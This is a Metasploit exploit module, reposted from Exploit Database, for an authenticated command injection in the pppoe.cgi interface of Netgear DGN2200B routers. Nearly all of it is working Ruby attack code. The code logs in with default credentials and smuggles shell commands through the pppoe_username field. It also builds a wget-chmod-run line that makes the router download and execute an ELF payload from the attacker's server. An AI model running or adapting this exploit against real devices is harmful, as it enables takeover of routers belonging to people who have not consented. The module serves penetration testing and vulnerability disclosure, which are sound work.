Netgear DGN2200B – ‘pppoe.cgi’ Remote Command Execution (Metasploit)

• Exploit Database
• 35 阅读

• 作者： Metasploit
  日期： 2013-04-22
• 类别：

  • remote
  平台：

  • hardware
• 来源：https://www.exploit-db.com/exploits/24974/

• ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # web site for more information on licensing and terms of use.
  # http://metasploit.com/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  Rank = ManualRanking
  
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HttpServer
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper
  
  def initialize(info = {})
  super(update_info(info,
  'Name'=> 'Netgear DGN2200B pppoe.cgi Remote Command Execution',
  'Description' => %q{
  Some Netgear Routers are vulnerable to an authenticated OS command injection
  on their web interface. Default credentials for the web interface are admin/admin
  or admin/password. Since it is a blind os command injection vulnerability, there
  is no output for the executed command when using the cmd generic payload. A ping
  command against a controlled system could be used for testing purposes. This module
  overwrites parts of the PPOE configuration, while the module tries to restore it
  after exploitation configuration backup is recommended.
  },
  'Author'=>
  [
  'Michael Messner <devnull@s3cur1ty.de>', # Vulnerability discovery and Metasploit module
  'juan vazquez' # minor help with msf module
  ],
  'License' => MSF_LICENSE,
  'References'=>
  [
  [ 'BID', '57998' ],
  [ 'EDB', '24513' ],
  [ 'OSVDB', '90320' ],
  [ 'URL', 'http://www.s3cur1ty.de/m1adv2013-015' ]
  ],
  'DisclosureDate' => 'Feb 15 2013',
  'Privileged' => true,
  'Platform' => ['linux','unix'],
  'Payload'=>
  {
  'DisableNops' => true
  },
  'Targets'=>
  [
  [ 'CMD',
  {
  'Arch' => ARCH_CMD,
  'Platform' => 'unix'
  }
  ],
  [ 'Linux mipsbe Payload',
  {
  'Arch' => ARCH_MIPSBE,
  'Platform' => 'linux'
  }
  ],
  ],
  'DefaultTarget'=> 1,
  ))
  
  register_options(
  [
  OptString.new('USERNAME', [ true, 'The username to authenticate as', 'admin' ]),
  OptString.new('PASSWORD', [ true, 'The password for the specified username', 'password' ]),
  OptAddress.new('DOWNHOST', [ false, 'An alternative host to request the MIPS payload from' ]),
  OptString.new('DOWNFILE', [ false, 'Filename to download, (default: random)' ]),
  OptInt.new('HTTP_DELAY', [true, 'Time that the HTTP Server will wait for the ELF payload request', 60]),
  OptInt.new('RELOAD_CONF_DELAY', [true, 'Time to wait to allow the remote device to load configuration', 45])
  ], self.class)
  end
  
  def get_config(config, pattern)
  if config =~ /#{pattern}/
  #puts "[*] #{$1}"#debugging
  return $1
  end
  return ""
  end
  
  def grab_config(user,pass)
  print_status("#{rhost}:#{rport} - Trying to download the original configuration")
  begin
  res = send_request_cgi({
  'uri' => '/BAS_pppoe.htm',
  'method'=> 'GET',
  'authorization' => basic_auth(user,pass)
  })
  if res.nil? or res.code == 404
  fail_with(Exploit::Failure::NoAccess, "#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}")
  end
  if [200, 301, 302].include?(res.code)
  if res.body =~ /pppoe_username/
  print_good("#{rhost}:#{rport} - Successfully downloaded the configuration")
  else
  fail_with(Exploit::Failure::NoAccess, "#{rhost}:#{rport} - Download of the original configuration not possible or the device uses a configuration which is not supported")
  end
  else
  fail_with(Exploit::Failure::NoAccess, "#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}")
  end
  rescue ::Rex::ConnectionError
  fail_with(Exploit::Failure::Unreachable, "#{rhost}:#{rport} - Failed to connect to the web server")
  end
  
  @pppoe_username_orig = get_config(res.body, "<td\ align=\"right\"><input\ type=\"text\"\ name=\"pppoe_username\"\ size=\"15\"\ maxlength=\"63\"\ value=\"(.*)\"><\/td")
  @pppoe_passwd_orig = get_config(res.body, "<td\ align=\"right\"><input\ type=\"password\"\ name=\"pppoe_passwd\"\ size=\"15\"\ maxlength=\"63\"\ value=\"(.*)\"><\/td")
  @pppoe_servicename_orig = get_config(res.body, "<td\ align=\"right\"><input\ type=\"text\"\ name=\"pppoe_servicename\"\ maxlength=\"63\"\ size=\"15\"\ value=\"(.*)\"><\/td")
  
  @runtest_orig = get_config(res.body, "<input\ type=\"hidden\"\ name=\"runtest\"\ value=\"(.*)\">")
  @wan_ipaddr_orig = get_config(res.body, "<INPUT\ name=wan_ipaddr\ type=hidden\ value=\ \"(.*)\">")
  @pppoe_localip_orig = get_config(res.body, "<INPUT\ name=pppoe_localip\ type=hidden\ value=\ \"(.*)\">")
  @wan_dns_sel_orig = get_config(res.body, "<INPUT\ name=wan_dns_sel\ type=hidden\ value=\ \"(.*)\">")
  @wan_dns1_pri_orig = get_config(res.body, "<INPUT\ name=wan_dns1_pri\ type=hidden\ value=\ \"(.*)\">")
  @wan_dns1_sec_orig = get_config(res.body, "<INPUT\ name=wan_dns1_sec\ type=hidden\ value=\ \"(.*)\">")
  @wan_hwaddr_sel_orig = get_config(res.body, "<INPUT\ name=wan_hwaddr_sel\ type=hidden\ value=\ \"(.*)\">")
  @wan_hwaddr_def_orig = get_config(res.body, "<INPUT\ name=wan_hwaddr_def\ type=hidden\ value=\ \"(.*)\">")
  @wan_hwaddr2_orig = get_config(res.body, "<INPUT\ name=wan_hwaddr2\ type=hidden\ value=\ \"(.*)\">")
  @wan_hwaddr_pc_orig = get_config(res.body, "<INPUT\ name=wan_hwaddr_pc\ type=hidden\ value=\ \"(.*)\">")
  @wan_nat_orig = get_config(res.body, "<INPUT\ name=wan_nat\ type=hidden\ value=\ \"(.*)\">")
  @opendns_parental_ctrl_orig = get_config(res.body, "<INPUT\ name=opendns_parental_ctrl\ type=hidden\ value=\ \"(.*)\">")
  @pppoe_flet_sel_orig = get_config(res.body, "<INPUT\ name=pppoe_flet_sel\ type=hidden\ value=\ \"(.*)\">")
  @pppoe_flet_type_orig = get_config(res.body, "<INPUT\ name=pppoe_flet_type\ type=hidden\ value=\ \"(.*)\">")
  @pppoe_temp_orig = get_config(res.body, "<INPUT\ name=pppoe_temp\ type=hidden\ value=\ \"(.*)\">")
  @apply_orig = get_config(res.body, "<input\ type=\"SUBMIT\"\ name=\"apply\"\ value=(.*)\ onClick=\"return\ checkData\(\)\">")
  end
  
  def restore_conf(user,pass,uri)
  # we have used most parts of the original configuration
  # just need to restore pppoe_username
  cmd = @pppoe_username_orig
  print_status("#{rhost}:#{rport} - Asking the Netgear device to reload original configuration")
  
  res = request(cmd,user,pass,uri)
  
  if (!res)
  fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to reload original configuration")
  end
  
  print_status("#{rhost}:#{rport} - Waiting #{@timeout} seconds for reloading the configuration")
  select(nil, nil, nil, @timeout)
  end
  
  def request(cmd,user,pass,uri)
  begin
  
  #original post request
  #login_type=PPPoE%28PPP+over+Ethernet%29&pppoe_username=%26%20COMMAND%20%26
  #&pppoe_passwd=69cw20hb&pppoe_servicename=&pppoe_dod=1&pppoe_idletime=5
  #&WANAssign=Dynamic&DNSAssign=0&en_nat=1&MACAssign=0&apply=%C3%9Cbernehmen
  #&runtest=yes&wan_ipaddr=0.0.0.0&pppoe_localip=0.0.0.0&wan_dns_sel=0
  #&wan_dns1_pri=0.0.0.0&wan_dns1_sec=...&wan_hwaddr_sel=0
  #&wan_hwaddr_def=84%3A1B%3A5E%3A01%3AE7%3A05&wan_hwaddr2=84%3A1B%3A5E%3A01%3AE7%3A05
  #&wan_hwaddr_pc=5C%3A26%3A0A%3A2B%3AF0%3A3F&wan_nat=1&opendns_parental_ctrl=0
  #&pppoe_flet_sel=&pppoe_flet_type=&pppoe_temp=&opendns_parental_ctrl=0
  res = send_request_cgi(
  {
  'uri'=> uri,
  'method' => 'POST',
  'authorization' => basic_auth(user,pass),
  'encode_params' => false,
  'vars_post' => {
  "login_type" => "PPPoE%28PPP+over+Ethernet%29",#default must be ok
  "pppoe_username" => cmd,
  "pppoe_passwd" => @pppoe_passwd_orig,
  "pppoe_servicename" => @pppoe_servicename_orig,
  "pppoe_dod" => "1",#default must be ok
  "pppoe_idletime" => "5",#default must be ok
  "WANAssign" => "Dynamic",#default must be ok
  "DNSAssign" => "0",#default must be ok
  "en_nat" => "1",#default must be ok
  "MACAssign" => "0",#default must be ok
  "apply" => @apply_orig,
  "runtest" => @runtest_orig,
  "wan_ipaddr" => @wan_ipaddr_orig,
  "pppoe_localip" => @pppoe_localip_orig,
  "wan_dns_sel" => @wan_dns_sel_orig,
  "wan_dns1_pri" => @wan_dns1_pri_orig,
  "wan_dns1_sec" => @wan_dns1_sec_orig,
  "wan_hwaddr_sel" => @wan_hwaddr_sel_orig,
  "wan_hwaddr_def" => @wan_hwaddr_def_orig,
  "wan_hwaddr2" => @wan_hwaddr2_orig,
  "wan_hwaddr_pc" => @wan_hwaddr_pc_orig,
  "wan_nat" => @wan_nat_orig,
  "opendns_parental_ctrl" => @opendns_parental_ctrl_orig,
  "pppoe_flet_sel" => @pppoe_flet_sel_orig,
  "pppoe_flet_type" => @pppoe_flet_type_orig,
  "pppoe_temp" => @pppoe_temp_orig,
  "opendns_parental_ctrl" => @opendns_parental_ctrl_orig
  }
  })
  return res
  rescue ::Rex::ConnectionError
  vprint_error("#{rhost}:#{rport} - Failed to connect to the web server")
  return nil
  end
  end
  
  def logout(user,pass)
  begin
  res = send_request_cgi({
  'uri' => '/LGO_logout.htm',
  'method'=> 'GET',
  'authorization' => basic_auth(user,pass)
  })
  if res.nil? or res.code == 404
  fail_with(Exploit::Failure::NoAccess, "#{rhost}:#{rport} - No successful logout possible")
  end
  rescue ::Rex::ConnectionError
  fail_with(Exploit::Failure::Unreachable, "#{rhost}:#{rport} - Failed to connect to the web server")
  end
  
  end
  
  def exploit
  downfile = datastore['DOWNFILE'] || rand_text_alpha(8+rand(8))
  uri = '/pppoe.cgi'
  user = datastore['USERNAME']
  pass = datastore['PASSWORD']
  @timeout = datastore['RELOAD_CONF_DELAY']
  
  #
  # testing Login
  #
  print_status("#{rhost}:#{rport} - Trying to login with #{user} / #{pass}")
  begin
  res = send_request_cgi({
  'uri' => '/',
  'method'=> 'GET',
  'authorization' => basic_auth(user,pass)
  })
  if res.nil? or res.code == 404
  fail_with(Exploit::Failure::NoAccess, "#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}")
  end
  if [200, 301, 302].include?(res.code)
  print_good("#{rhost}:#{rport} - Successful login #{user}/#{pass}")
  else
  fail_with(Exploit::Failure::NoAccess, "#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}")
  end
  rescue ::Rex::ConnectionError
  fail_with(Exploit::Failure::Unreachable, "#{rhost}:#{rport} - Failed to connect to the web server")
  end
  
  grab_config(user,pass)
  
  if target.name =~ /CMD/
  if not (datastore['CMD'])
  fail_with(Exploit::Failure::BadConfig, "#{rhost}:#{rport} - Only the cmd/generic payload is compatible")
  end
  cmd = payload.encoded
  cmd = "%26%20#{cmd}%20%26"
  res = request(cmd,user,pass,uri)
  if (!res)
  fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")
  else
  print_status("#{rhost}:#{rport} - Blind Exploitation - unknown Exploitation state")
  end
  return
  end
  
  #thx to Juan for his awesome work on the mipsel elf support
  @pl = generate_payload_exe
  @elf_sent = false
  
  #
  # start our server
  #
  resource_uri = '/' + downfile
  
  if (datastore['DOWNHOST'])
  service_url = 'http://' + datastore['DOWNHOST'] + ':' + datastore['SRVPORT'].to_s + resource_uri
  else
  #do not use SSL
  if datastore['SSL']
  ssl_restore = true
  datastore['SSL'] = false
  end
  
  #we use SRVHOST as download IP for the coming wget command.
  #SRVHOST needs a real IP address of our download host
  if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::")
  srv_host = Rex::Socket.source_address(rhost)
  else
  srv_host = datastore['SRVHOST']
  end
  
  service_url = 'http://' + srv_host + ':' + datastore['SRVPORT'].to_s + resource_uri
  print_status("#{rhost}:#{rport} - Starting up our web service on #{service_url} ...")
  start_service({'Uri' => {
  'Proc' => Proc.new { |cli, req|
  on_request_uri(cli, req)
  },
  'Path' => resource_uri
  }})
  
  datastore['SSL'] = true if ssl_restore
  end
  
  #
  # download payload
  #
  print_status("#{rhost}:#{rport} - Asking the Netgear device to download and execute #{service_url}")
  #this filename is used to store the payload on the device
  filename = rand_text_alpha_lower(8)
  
  cmd = "/usr/bin/wget #{service_url} -O /tmp/#{filename};chmod 777 /tmp/#{filename};/tmp/#{filename}"
  cmd = Rex::Text.uri_encode(cmd)
  cmd = "%26%20#{cmd}%20%26"
  res = request(cmd,user,pass,uri)
  if (!res)
  fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload")
  end
  
  # wait for payload download
  if (datastore['DOWNHOST'])
  print_status("#{rhost}:#{rport} - Giving #{datastore['HTTP_DELAY']} seconds to the Netgear device to download the payload")
  select(nil, nil, nil, datastore['HTTP_DELAY'])
  else
  wait_linux_payload
  end
  register_file_for_cleanup("/tmp/#{filename}")
  
  #
  #reload original configuration
  #
  restore_conf(user,pass,uri)
  
  #
  #lockout of the device and free the management sessions
  #
  logout(user,pass)
  end
  
  # Handle incoming requests from the server
  def on_request_uri(cli, request)
  #print_status("on_request_uri called: #{request.inspect}")
  if (not @pl)
  print_error("#{rhost}:#{rport} - A request came in, but the payload wasn't ready yet!")
  return
  end
  print_status("#{rhost}:#{rport} - Sending the payload to the server...")
  @elf_sent = true
  send_response(cli, @pl)
  end
  
  # wait for the data to be sent
  def wait_linux_payload
  print_status("#{rhost}:#{rport} - Waiting for the victim to request the ELF payload...")
  
  waited = 0
  while (not @elf_sent)
  select(nil, nil, nil, 1)
  waited += 1
  if (waited > datastore['HTTP_DELAY'])
  fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Target didn't request request the ELF payload -- Maybe it cant connect back to us?")
  end
  end
  end
  
  end